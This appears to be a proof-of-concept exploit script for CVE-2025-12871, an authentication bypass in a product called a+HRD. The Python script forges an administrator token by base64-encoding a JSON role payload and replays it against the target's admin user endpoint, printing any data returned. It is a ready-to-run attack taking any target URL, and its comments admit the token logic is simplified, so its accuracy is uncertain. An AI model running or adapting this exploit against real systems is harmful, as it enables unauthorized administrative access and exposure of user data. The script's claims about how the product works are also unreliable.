CVE-2025-12871

#!/usr/bin/env python3 # CVE-2025-12871 PoC - a+HRD Authentication Bypass # This PoC demonstrates the authentication abuse vulnerability in a+HRD import requests import json import base64 import sys def exploit(target_url, admin_username): """ Exploit CVE-2025-12871 by forging admin access token """ print(f"[*] Target: {target_url}") print(f"[*] Targeting admin user: {admin_username}") # Step 1: Gather token format information print("\n[Step 1] Gathering token format...") try: response = requests.get(f"{target_url}/api/auth/token-format", timeout=10) if response.status_code == 200: token_info = response.json() print(f"[+] Token format: {token_info}") except Exception as e: print(f"[-] Error gathering token info: {e}") # Step 2: Forge admin token (vulnerability exploitation) print("\n[Step 2] Forging admin access token...") # Construct forged token payload token_payload = { "user": admin_username, "role": "administrator", "exp": 1731446400, # Expiration timestamp "iat": 1731360000 # Issued at timestamp } # Encode token (simplified - actual implementation may vary) payload_str = json.dumps(token_payload) forged_token = base64.b64encode(payload_str.encode()).decode() print(f"[+] Forged token: {forged_token}") # Step 3: Use forged token to access admin panel print("\n[Step 3] Accessing system with forged admin token...") headers = { "Authorization": f"Bearer {forged_token}", "Content-Type": "application/json" } try: # Try to access admin endpoints response = requests.get(f"{target_url}/api/admin/users", headers=headers, timeout=10) if response.status_code == 200: print("[+] SUCCESS! Admin access granted via forged token") print(f"[+] Response: {response.text[:500]}") return True else: print(f"[-] Access denied. Status: {response.status_code}") return False except Exception as e: print(f"[-] Error during exploitation: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <admin_username>") print(f"Example: {sys.argv[0]} https://vulnerable-site.com admin") sys.exit(1) target = sys.argv[1] admin = sys.argv[2] exploit(target, admin)

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